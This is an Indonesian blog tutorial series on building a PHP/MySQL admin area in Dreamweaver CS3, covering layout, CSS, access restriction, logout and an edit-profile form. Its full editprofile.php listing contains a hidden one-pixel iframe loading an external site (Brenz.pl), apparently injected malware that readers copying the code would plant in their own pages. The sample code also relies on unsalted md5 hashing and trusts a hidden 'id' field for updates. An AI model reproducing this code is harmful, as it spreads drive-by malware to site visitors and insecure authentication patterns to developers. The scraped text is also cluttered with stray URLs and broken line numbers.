Pada tutorial dreamweaver sebelumnya saya sudah menjelaskan cara membuat halaman register dan halaman login utuk masuk ke halaman administrator, yang di mana halaman ini hanya admin yang terdaftar saja dapat mengakses halaman ini. Di dalam halaman administrator ini anda dapat membuat kategori artikel, menambahkan atau mengedit artikel anda.

Sekali lagi saya ingatkan tutorial membuat website dengan adobe dreamweaver cs 3 ini saya berikan secara bertahap, jika anda kebingungan dengan tutorial yang ada disni saya harapkan membaca tutorial ini dari awal, untuk melihat daftar isi tutorial dreamweaver anda bisa klik disini.

Untuk membuat halaman administrator website yang pertama kitalakukan adalah membuat layout atau tata letaknya.

Buka file home.php yang ada di dalam folder fileadmin milik anda. Kemudian melalui code view, ketikkan

1<link href="style.css" type="text/css" rel="stylesheet" />

di atas tag </head>, kode tersebut fungsinya menghubungkan file home.php dengan file style.css yang ada di dalam folder fileadmin milik anda.



http://www.adobe.com/products/dreamweaver.html





http://mous-design.com/

http://mous-design.com/membuat-halaman-administrator-website-dreamweaver.html

Jika anda belum memiliki / membuat file style.css silahkan anda buat terlebih dahulu, caranya tekan Ctrl + N, pilih CSS kemudian click Create, simpan dalam folder D:\website\xampp\htdocs\websiteku.com\fileadmin dengan nama style.css.

Masih tetap dalam tab home.php melalui code view, ketikkan kode berikut

1

2

3

<div id="header">

<h2>Admin Websiteku</h2>

</div>

di bawah tag <body>

Kemudian klik icon New CSS Rule yang ada di bagian kanan, jika di layar anda tidak terdapat CSS Stylenya anda bisa menekan Shift + F11 untuk menampilkan tab CSS Style.

isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : body


Setelah muncul CSS Rule Definition for body in style.css, isikan pengaturannya sebagai berikut :

Type: Font : pilih jenis font yang ingin anda gunakan, pada kali ini saya akan menggunakan “Arial,

Helvetica, sans-serif“ Size : ukuran font yang akan anda gunakan, kali ini saya menggunakan ukuran 12 pixel

Box : width : 920 pixel float : left

Padding : centang same for all, pada kolom box isikan 10 pixel.

jika sudah klik ok, buka file style.css yang ada dalam folder fileadmin milik anda, kemudian simpan tekan Ctrl + S.

kembali ke tab home.php, klik New CSS Rule, isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #header


Setelah muncul CSS Rule Definition for #header in style.css, isikan pengaturannya sebagai berikut :


Padding : centang same for all, pada kolom box isikan 10 pixel.

Jika sudah klik ok, kembali ke tab style.css simpan pekerjaan anda.

Sekarang kita akan membuat navigasi untuk halaman administrator website kita, ketikkan kode berikut di atas </body>

1<div id="navigasi"></div>

simpan pekerjaan anda tekan Ctrl + S.

klik New CSS Rule, isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #navigasi


Setelah muncul CSS Rule Definition for #navigasi in style.css, isikan pengaturannya sebagai berikut :


Padding : hilangkan centang same for all, pada kolom right dan left isikan 10 pixel, pada kolom top dan bottom isikan 0 pixel.

Border : Style : centang Same for all isikan solid. Width : centang same for all isikan 1 pixel

Color : centang same for all isikan #CCCCCC

Jika sudah klik ok, kembali ke tab style.css simpan pekerjaan anda.

Kemudian ketikkan kode berikut

1<ul>

2

3

4

5

6

7

8

<li><a href="home.php">Home</a></li>

<li><a href="editprofile.php">Profile</a></li>

<li><a href="categories.php">Categories</a></li>

<li><a href="post.php">Post</a></li>

<li><a href="message.php">Message</a></li>

<li><a href="logout.php">Logout</a></li>

</ul>

letakkan di bawah <div id=”navigasi”>, maka kodenya akan menjadi

1

2

3

4

5

6

7

8

9

10

<div id="navigasi">

<ul>

<li><a href="home.php">Home</a></li>

<li><a href="editprofile.php">Profile</a></li>

<li><a href="categories.php">Categories</a></li>

<li><a href="post.php">Post</a></li>

<li><a href="message.php">Message</a></li>

<li><a href="logout.php">Logout</a></li>

</ul>

</div>

Kode – kode tersebut membentuk link ke halaman yang lainnya, misalnya Profile di klik maka anda akan di bawa ke halaman editprofile.php, untuk penjelasan dan pembuatan halaman tersebut akan saya jelaskan pada tutorial berikutnya.

Kembali klik New CSS Rule, isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #navigasi ul


Setelah muncul CSS Rule Definition for #navigasi ul in style.css, isikan pengaturannya sebagai berikut :


Padding : centang same for all isikan 0 pixel.

Jika sudah klik OK.

klik kembali New CSS Rule, isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #navigasi li


Setelah muncul CSS Rule Definition for #navigasi li in style.css, isikan pengaturannya sebagai berikut :

Block: Display : inline

Box : Margin : hilangkan centang same for all, pada bagian Left isikan 10 pixel

List : Type: none

Jika sudah klik OK.

Selanjutnya ketikkan kode berikut,

1

2

3

4

5

<div id="conten">

<h3>Admin Home</h3>

<p>Selamat datang di halaman administrator websiteku, isi adalah contoh halaman depan admin website kita, kata - kata ini hanya untuk testing pada tutorial pembuatan halaman administrator website dan hanya sebagai contoh halaman administrator website, selanjutnya ganti tulisan isi terserah anda mengisinya dengan kata - kata milik anda sendiri, misalnya seperti peringatan untuk semua admin yang memasuki halaman administrator website.</p>

<p>Sekali lagi kata - kata dalam halaman administrator ini bisa anda ganti dan tolong di ganti, karena kata - kata ini hanya sebagai contoh semata dan tidak ada maksud untuk belajar mengolah kata, karena saya sendiri sudah pusing untuk mengolah kata - kata untuk halaman administrator website ini.</p>

</div>

Masih dalam tab home.php, klik New CSS Rule, isikan pengaturannya sebagai berikut :

Selector Type : Advanced (Ids, pseudo-class selectors) Selector : #conten


Setelah muncul CSS Rule Definition for #conten in style.css, isikan pengaturannya sebagai berikut :


Padding : centang same for all, pada kolom top isikan 10 pixel.

margin : hilangkan centang same for all, pada bagian top isikan 20 pixel.

Border : Style : centang Same for all isikan solid. Width : centang same for all isikan 1 pixel

Color : centang same for all isikan #CCCCCC

Jika sudah klik Ok. simpan semua pekerjaan anda tekan Ctrl + S.

Untuk melihat hasil jerih payah anda tadi atau melihat halaman administrator website anda tekan F12.

Untuk memperindah tampilan halaman administrator website anda, anda bisa menambahkan opsi CSS yang lainnya, misalnya background dan lain – lain. Silahkan di coba – coba agar anda lebih paham, lihat perubahannya pada file style.css.

Sekian dulu tutorial membuat halaman administrator website dengan Adobe dreamweaver cs 3, pada tutorial berikutnya saya akan jelaskan bagaimana cara agar membatasi akses kehalaman administrator website anda, jadi hanya orang yang terdaftar saja yang bisa masuk ke halaman administrator website milik anda.

Jika anda ingin berlangganan artikel mous design anda bisa masukkan email anda di kolom berlangganan yang ada di bagian kanan website ini, dan apa bila ada pertanyaan ataupun komentar silahkan berkomentar di dalam form komentar di bawah.

Akhir kata saya ucapkan terima kasih banyak dan salam sukses untuk anda semuanya.

Memberikan Batasan Hak Akses AdministratorPada tutorial kali ini kita akan memberikan batasan hak akses administrator atau memberikan hak akses ke halaman admin web, artinya jika ada pengunjung website yang jahi mencoba mengakses halaman utama website kita dengan cara mengetikkan URL website, misalnya mengetikkan “http://websiteku.com/fileadmin/home.php” maka orang yang mencoba mengakses URL tersebut akan di bawa ke halaman logout dan diminta untuk login menggunakan username dan password.

Setelah anda memiliki atau membuat halaman administrator yang saya sudah jelaskan pada tutorial sebelumnya, langsung saja sekarang kita mulai memberikan batasan hak akses administrator.

Buka program adobe dreamweaver anda, kemudian buat file php baru simpan dalam folder fileadmin tekan Ctrl + S beri nama logout.php

Selanjutnya buka file home.php > pada menu bar klik Insert > Data Objects > User Authentication > Restric Access To Page

Setelah muncut jendela Restric Access To Page isikan pengaturan sebagai berikut :

Restric based on : Username and Password If Access denied, go to : klik brows pilih file logout.php

http://mous-design.com/membuat-halaman-administrator-website-dreamweaver.html

If Access denied, go to ini kira – kira maksudnya, jika ada user yang mencoba mengakses halaman administrator website anda tanpa proses login maka orang tersebut akan di bawa ke halaman logout.php

Silahkan coba ketikkan di browser anda “http://localhost/websiteku.com/fileadmin/home.php” maka secara otomatis anda akan di bawa ke halaman kosong.

Setelah tutorial ini saya akan jelaskan bagaimana cara membuat halaman logout <<diklik aja linknya :D gak usah pikir panjang lagi heehehhe, caranya juga simple banget seperti memberikan batasan hak akses ini.

Membuat Halaman Log outSebelum memulai tutorial Membuat Halaman Log Out ini saya minta maaf atas keterlambatan update ini, karena banyak kesibukan jadi belum sempat update.

Kemarin terakhir kita sudah memberikan batasan hak akses halaman administrator, yang dimana jika ada user ingin mengakses salah satu halaman administrator tanpa melalui proses login maka secara otomatis dia akan di bawa ke halaman log out.

Di halaman log out ini nantinya akan langsung mengarah kehalaman depan administrator dan meminta user yang jahil tersebut untuk melakukan login terlebih dahulu.

Pertama jalankan program adobe dreamweaver milik anda, kemudian buka file log out.php yang terdapat dalam folder fileadmin.

Setelah halaman log out / log out.php anda terbuka melalui code view hapus semua code yang terdapat dalam file tersebut.

Selanjutnya pada menubar dreamweaver klik Insert > Data Objects > User Authentication > Log out User

Setelah muncul window / jendela Log out user isikan pengaturannya seperti berikut :

Log out when : pilih Page Load When done, go to : pilih file index.php yang ada dalam folder fileadmin

http://mous-design.com/memberikan-batasan-hak-akses-administrator.html

http://mous-design.com/membuat-halaman-log-out-di-dreamweaver-cs3.html

Jika sudah klik ok, kemudian simpan pekerjaan anda, tekan Ctrl + S. Maka kode dari halaman log out sbb..

1

2

3

4

5

6

7

8

9

10

11

12

13

14

<?php

// *** Logout the current user.

$logoutGoTo = "index.php";

if (!isset($_SESSION)) {

session_start();

}

$_SESSION['MM_Username'] = NULL;

$_SESSION['MM_UserGroup'] = NULL;

unset($_SESSION['MM_Username']);

unset($_SESSION['MM_UserGroup']);

if ($logoutGoTo != "") {header("Location: $logoutGoTo");

exit;

}

?>

Sudah… hanya itu saja caranya hahhahaha, sebenarnya simple banget, sekarang coba test drive ketikkan “http://localhost/websiteku.com/fileadmin/home.php” pada browser anda, kalau sukses anda akan tetap berada di halaman depan / halaman login administrator.

Sekarang coba login kehalaman administrator anda, kemudian klik link log out pada navigasi, kalau sukses maka anda tetap akan di bawa kehalaman login.

Cukup sekian tutorial membuat halaman log out, semoga dapat membantu.

Nantikan tutorial berikutnya yaitu

Membuat halaman Edit Profile Administrator

Halaman Edit Profile Administrator

http://mous-design.com/membuat-halaman-edit-profile-administrator.html

http://localhost/websiteku.com/fileadmin/home.php

Halaman Edit Profile Administrator - Pada tutorial sebelumnya kita sudah membuat halaman log out, hehehe maaf sudah lama gak pernah update blog ini, banyak kerjaan soalnya.

Kali ini saya mau ngelanjutin tutorial membuat website dengan dreamweaver, buat rekan – rekan yang kebingungan belajar membuat website dengan dreamweaver di blog ini, saya sarankan agar membaca dari awal (bisa diklik disini), karena tutorial disini saya ajarkan secara bertahap agar kita mengerti tahapan – tahapan membuat website dengan dreamweaver.

Seperti biasa tutorial membuat website ini saya akan terangkan secara singkat tapi mudah – mudahan bisa dimengerti, kali ini kita akan membuat Halaman Edit Profile Administrator website.

Langsung aja pertama buka file home.php yang ada di dalam folder fileadmin.

Kemudian klik File > Save As… ( atau tekan Shitft + Ctrl + S) > beri nama editprofile.php

Jika sudah, melalui design view ubah tulisan “Admin Home” menjadi “Profile Admin” (saya beri tanda kota merah).


http://mous-design.com/membuat-halaman-log-out-di-dreamweaver-cs3.html

Kemudian hapus tulisan yang di bawahnya (saya beri tanda kotak hijau).

Kali ini dalam membuat edit profile administrator website dengan dreamweaver, kita akan membuat Recordset untuk menampilkan data – data administrator yang sudah tersimpan didalam database pada saat anda melakukan registrasi.

Pada menu bar dreamweaver, kli Insert > Data Object > Recordset,

Isikan pengaturannya sebagai berikut :

Name : profile_admin

Connection : websiteku

Table : admin

Columns : all

Filter : nama

URL Parameter ubah menjadi Session Variable, disebelahnya ketikkan MM_Username

Jika sudah klik ok.

Selanjutnya melalui Code View anda cari kode berikut

1234

<div id="conten"><h3>Admin Home</h3><p></p></div>

Kemudian diantara kode <p></p> anda ketikkan, “Anda login sebagai”.

Pada tab Application > klik Binding, maka akan terlihat Recordset (profile_admin), > drag “Nama” (yang saya beri tanda hijau) letakkan di sebelah tulisan “Anda login sebagai”.

maka kodenya akan menjadi

123

<p>Anda login sebagai <?php echo $row_profile_admin['nama']; ?></p>

Selanjutnya untuk membuat paragraf baru, di bawah kode di atas anda ketikkan <p></p>, kemudian klik lagi di tengah – tengah kode <p></p>.

Selanjutnya pada menubar Dreamweaver klik Insert > Data Objects > Update Record > Record Update Form Wizard. Setelah muncul jendela Record Update Form, anda isikan pengaturannya sebagai beriku :

Connection : websiteku Table to update : admin

Select record from : profile_admin

Unique key column : id

After updating, go to : editprofile.php (yang ada dalam folder file admin)

Pada form field klik id kemudian klik tanda min, ini berfungsi untuk menghilangkan field id,

Klik kembali pada form field password, kemudian display as ubah menjadi password field,

Terakhir klik ok.

Kemudian cari kode berikut, kira2 berada pada baris ke 85.

1GetSQLValueString($_POST['password'], "text"),

Dan tambahkan fungsi md5, caranya ganti kode di atas menjadi

1GetSQLValueString(md5 ($_POST['password']), "text"),

Kalau sudah, untuk menyimpan Halaman Edit Profile Administrator tekan Ctrl + S.

maka kode keseluruhannya kira2 seperti ini

12345678910

<?php require_once('../Connections/websiteku.php'); ?><?phpif (!isset($_SESSION)) { session_start();}$MM_authorizedUsers = "";$MM_donotCheckaccess = "true"; // *** Restrict Access To Page: Grant or deny access to this pagefunction isAuthorized($strUsers, $strGroups, $UserName, $UserGroup) { // For security, start by assuming the visitor is NOT authorized.

111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667

$isValid = False; // When a visitor has logged into this site, the Session variable MM_Username set equal to their username. // Therefore, we know that a user is NOT logged in if that Session variable is blank. if (!empty($UserName)) { // Besides being logged in, you may restrict access to only certain users based on an ID established when they login. // Parse the strings into arrays. $arrUsers = Explode(",", $strUsers); $arrGroups = Explode(",", $strGroups); if (in_array($UserName, $arrUsers)) { $isValid = true; } // Or, you may restrict access to only certain users based on their username. if (in_array($UserGroup, $arrGroups)) { $isValid = true; } if (($strUsers == "") && true) { $isValid = true; } } return $isValid; }

$MM_restrictGoTo = "logout.php";if (!((isset($_SESSION['MM_Username'])) && (isAuthorized("",$MM_authorizedUsers, $_SESSION['MM_Username'], $_SESSION['MM_UserGroup'])))) { $MM_qsChar = "?"; $MM_referrer = $_SERVER['PHP_SELF']; if (strpos($MM_restrictGoTo, "?")) $MM_qsChar = "&"; if (isset($QUERY_STRING) && strlen($QUERY_STRING) > 0) $MM_referrer .= "?" . $QUERY_STRING; $MM_restrictGoTo = $MM_restrictGoTo. $MM_qsChar . "accesscheck=" . urlencode($MM_referrer); header("Location: ". $MM_restrictGoTo); exit;}?><?phpif (!function_exists("GetSQLValueString")) {function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;


switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break;

6869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124

case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue;}}

$editFormAction = $_SERVER['PHP_SELF'];if (isset($_SERVER['QUERY_STRING'])) { $editFormAction .= "?" . htmlentities($_SERVER['QUERY_STRING']);}

if ((isset($_POST["MM_update"])) && ($_POST["MM_update"] == "form1")) { $updateSQL = sprintf("UPDATE `admin` SET nama=%s, password=%s WHERE id=%s", GetSQLValueString($_POST['nama'], "text"), GetSQLValueString(md5 ($_POST['password']), "text"), GetSQLValueString($_POST['id'], "int"));

mysql_select_db($database_websiteku, $websiteku); $Result1 = mysql_query($updateSQL, $websiteku) or die(mysql_error()); $updateGoTo = "editprofile.php"; if (isset($_SERVER['QUERY_STRING'])) { $updateGoTo .= (strpos($updateGoTo, '?')) ? "&" : "?"; $updateGoTo .= $_SERVER['QUERY_STRING']; } header(sprintf("Location: %s", $updateGoTo));}

$colname_profile_admin = "-1";if (isset($_SESSION['MM_Username'])) { $colname_profile_admin = $_SESSION['MM_Username'];}mysql_select_db($database_websiteku, $websiteku);$query_profile_admin = sprintf("SELECT * FROM `admin` WHERE nama = %s", GetSQLValueString($colname_profile_admin, "text"));$profile_admin = mysql_query($query_profile_admin, $websiteku) or die(mysql_error());$row_profile_admin = mysql_fetch_assoc($profile_admin);$totalRows_profile_admin = mysql_num_rows($profile_admin);?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Untitled Document</title><link href="style.css" type="text/css" rel="stylesheet" /></head>

<body>

<div id="header"> <h2>Admin Websiteku</h2></div>

<div id="navigasi"><ul> <li><a href="home.php">Home</a></li> <li><a href="editprofile.php">Profile</a></li> <li><a href="categories.php">Categories</a></li> <li><a href="post.php">Post</a></li> <li><a href="message.php">Message</a></li> <li><a href="logout.php">Logout</a></li>

125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168

</ul></div>

<div id="conten"><h3>Profile Admin</h3><p>Anda Login sebagai <?php echo $row_profile_admin['nama']; ?></p>

<p></p>

<form action="<?php echo $editFormAction; ?>" method="post" name="form1" id="form1"> <table align="left"> <tr valign="baseline"> <td nowrap="nowrap" align="right">Nama:</td> <td><input type="text" name="nama" value="<?php echo htmlentities($row_profile_admin['nama'], ENT_COMPAT, 'utf-8'); ?>" size="32" /></td> </tr> <tr valign="baseline"> <td nowrap="nowrap" align="right">Password:</td> <td><input type="password" name="password" value="" size="32" /></td> </tr> <tr valign="baseline"> <td nowrap="nowrap" align="right"> </td> <td><input type="submit" value="Update record" /></td> </tr> </table> <input type="hidden" name="MM_update" value="form1" /> <input type="hidden" name="id" value="<?php echo $row_profile_admin['id']; ?>" /></form><p> </p></div>

<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe></body></html><?phpmysql_free_result($profile_admin);?>

Untuk mencoba apakah Halaman Edit Profile Administrator anda berhasil atau tidak silahkan login ke halaman administrator anda, ketikkan http://localhost/websiteku.com/fileadmin, kemudian pada menu navigation klik Profile, dan coba ganti password anda, setelah itu coba anda log out kembali, dan coba kembali login hahaha bulak balik membuat halaman edit profile administrator.

Tutorial membuat halaman edit profile administrator dengan Adobe dreamweaver cs3 ini hanya sebagai pembelajaran, bagaimana kita menggunakan fungsi recordset. Jika anda ingin menambahkan informasi admin yang lain, misalnya email admin, no telp, alamat, dll, anda harus membuatnya pada saat anda membuat tabel admin, dan mengisi Number of fieldnya sesuai kebutuhan anda. Masih bingung…?? silahkan baca tutorialnya dari awal, silahkan klik lagi disini.


http://localhost/websiteku.com/fileadmin

Sekian Tutorial membuat halaman edit profile administrator dengan Adobe dreamweaver cs3, semoga bermanfaat, saya mohon maaf lagi sekali, karena keterbatasan waktu saya jarang update blog ini, dan tidak semua pertanyaan saya jawab.

membuat halaman profile

Documents